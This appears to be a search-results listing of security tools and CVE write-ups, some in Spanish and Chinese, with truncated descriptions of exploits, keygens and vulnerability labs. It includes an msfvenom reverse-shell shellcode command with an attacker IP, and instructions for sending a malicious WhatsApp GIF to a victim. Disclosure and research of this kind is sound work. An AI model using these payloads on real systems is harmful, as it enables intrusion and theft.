18986 matches found
CVE-2026-87924
CVE-2026-87924 affects the Rizwan17 inventory-management-system (GitHub) up to commit bfe78a330d01bb26b9daec5dc9ecd5c77900e03f . The vulnerability resides in includes/invoice_bill.php within the Invoice Generation component. Manipulation of the order_date and invoice_no arguments results in missi...
zyxel-vmg8825-keygen
Zyxel VMG8825-T50 Supervisor Keygen Este proyecto contiene las siguientes funciones implementadas en Python 3: Function name| Validez ---|--- zcfgBeCommonGenKeyBySerialNumCBT | ❓ zcfgBeCommonGenKeyBySerialNumMethod2 | ✅ zcfgBeCommonGenKeyBySerialNumMethod3 | ✅...
JOP_ROCKET
JOP ROCKET NOTA: Con la 2.15, introducimos el dispatcher de dos gadgets--esto expande significativamente las posibilidades con los dispatcher gadgets. Se han añadido muchas optimizaciones y nuevas características adicionales con la 2.15 el 26 de mayo de 2021. Actualización: 29 de noviembre de 202...
CVE-2024-27198_Lab
CVE-2024-27198 实验环境 描述 TeamCity 提供了一个仅限管理员访问的令牌管理页面，该页面未受认证保护。这使得未经认证的用户在能够找到现有用户 ID 的情况下，可以为管理员用户生成访问令牌。 CVE 详情 CVE ID：CVE-2024-27198 CWE：CWE-288 CNA：JetBrains s.r.o. 基础评分：9.8 严重 向量： CVSS:3.1 AV:N 网络 AC:L 低 PR:N 无 UI:N 无 S:U 不变 C:H 高 I:H 高 A:H 高 威胁情报与开源情报 实际影响与利用 CISA KEV 目录： 于 2024 年 3 月 7 日...
isa_recovery
Sistema de Recuperación ISA Un pipeline de ingeniería inversa que convierte un binario de firmware y su desensamblado posiblemente incorrecto en una especificación de procesador funcional para Ghidra. Cuando te encuentras con un procesador propietario sin documentación y sin soporte en Ghidra, es...
SpringPeace
SpringPeace SpringPeace es una GUI/CLI con licencia GPL-3.0-or-later para generar candidatos de payload desde el boot.img de Android para CVE-2026-43499. La aplicación de Windows usa la interfaz SpringPeace, comprueba ADB, lee boot.img, compila los candidatos payload.so y luego los prueba mediant...
gstack
gstack "No creo que haya escrito una línea de código desde diciembre, básicamente, lo cual es un cambio extremadamente grande." — Andrej Karpathy, podcast No Priors, marzo de 2026 Cuando escuché a Karpathy decir esto, quise descubrir cómo. ¿Cómo puede una sola persona entregar el trabajo de un...
CVE-2026-49009
root@kitploit: ▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ▄██▀▀▀ ██ ██ ▄█▀▀█▄ ▄██▄ ▄██▄ ▄█▀▀█▄ ██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ██▄▄▄ ▄▄▄ ▀█████ ▀▀▀██ ██ ██ ██ ██ ▀▀▀██ ▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ▀█▄▄█▀ ██ ▄▄██▀ ▀██▀ ▀██▀ ▄▄██▀ ░█▄█░█▀▀░█▀█░█▀▄░█▀▀░█▀▄░░░█▀▀░█▀▀░█▀▄░█░█░█▀▀░█▀▄░░░█▀▄░█▀▀░█▀▀...
immich-exfiltration-demo
Demo de ciberseguridad: exfiltración de Immich CVE-2026-35455 Prueba de concepto de ciberseguridad para CVE-2026-35455, que demuestra la generación automatizada de claves de API y la exfiltración de datos que conduce al secuestro total de la cuenta y al acceso no autorizado persistente. Más...
pentx-vapt-skill
🔥 Pentx — Advanced VAPT Skill AI-Powered Penetration Testing Agent for Pi Coding Agent Pentx is an advanced 5-phase VAPT Vulnerability Assessment & Penetration Testing skill that executes full penetration testing and generates detailed Proof-of-Concept for every finding. 📸 Screenshots Tool Check|...
CVE-2026-50787
CVE-2026-50787 — Consumo Descontrolado de Recursos en e-SIC Livre Resumen Existe una vulnerabilidad de consumo de recursos en el componente de generación de CAPTCHA de e-SIC Livre esiclivre. El endpoint vulnerable acepta parámetros controlados por el usuario que definen las dimensiones de la imag...
MS08-067
MS08-067 | CVE-2008-4250 Referencia: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generación del Shellcode Usaremos msfvenom para generar el shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...
CVE-2026-80172
Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Verification of Data Authenticity vulnerability. An unauthenticated attacker with remote access could exploit this, leading to unauthorized access. This...
CVE-2022-29380
CVE-2022-29380 CVE-2022-29380 root@kitploit: Date: 25/05/2022 Author: OpenXP Team Software: Academy LMS Version: Academy LMS = v4.3 Type: Cross-Site Scripting OWASP TOP 10: A03:2021-Injection CWE: CWE-79 Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' References...
WhatsRCE
WhatsRCE 这是一个自动生成CVE-2019-11932（WhatsApp远程代码执行）漏洞的有效载荷的工具 1. 自动安装GCC（无害命令，你可以看到这是开源的） 2. 保存为 .GIF 文件 如何使用？ root@kitploit: sudo apt install git git clone https://github.com/KeepWannabe/WhatsRCE cd WhatsRCE && bash start.sh 如何获取Shell？ 1. 只需将 .GIF 文件以 文档而非图片 的形式发送给受害者用户 2...
ROCA-attack-on-vulnerability-CVE-2017-15361
ROCA-attack-on-vulnerability-CVE-2017-15361 本仓库包含了我在都灵理工大学数学工程专业学士学位期间开发的论文。这是一个基于 Python 和 Sage 的脚本。 该脚本的目标是生成一个 RSA 密钥，评估其是否容易受到 ROCA 攻击，并执行 ROCA 攻击。 脚本中的注释为意大利语。 文件夹结构 root@kitploit: . └── Attacco-ROCA-sulla-vulnerabilita-CVE-2017-15361 包含此仓库的文件夹 └──Program ├── Main.py 主文件 ├── Keygen.py 密钥生成 ├...
CVE-2026-30944-PoC
🔓 CVE-2026-30944 Escalada de Privilegios en StudioCMS mediante Generación Insegura de Tokens API NVD • Advisory • CWE-639 Resumen El endpoint POST /studiocmsapi/dashboard/api-tokens en StudioCMS ≤ 0.3.0 permite que cualquier usuario autenticado como mínimo con rol Editor genere tokens API para...
koyane-framework
Koyane-Framework :: 词表锻造与分析工具包（早期阶段） root@kitploit: | | / /| |\ \ / / / \ | \ | || | | || \ / \ | / || || | | || || | | / / | |/ / | | | | \ V / / /\ | | || | | | | |/ // /\ | . . || | | | | || | | || |/ /| |/ / | \ | | | | \ / | || . || | ||| | | / | || |/| || | | |/| || | | || / | \ | |...
Linux Distros Unpatched Vulnerability : CVE-2026-82059
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An internal aggregation expression in MongoDB Server was incorrectly registered as accessible to any authenticated user rather than being restricted to internal...
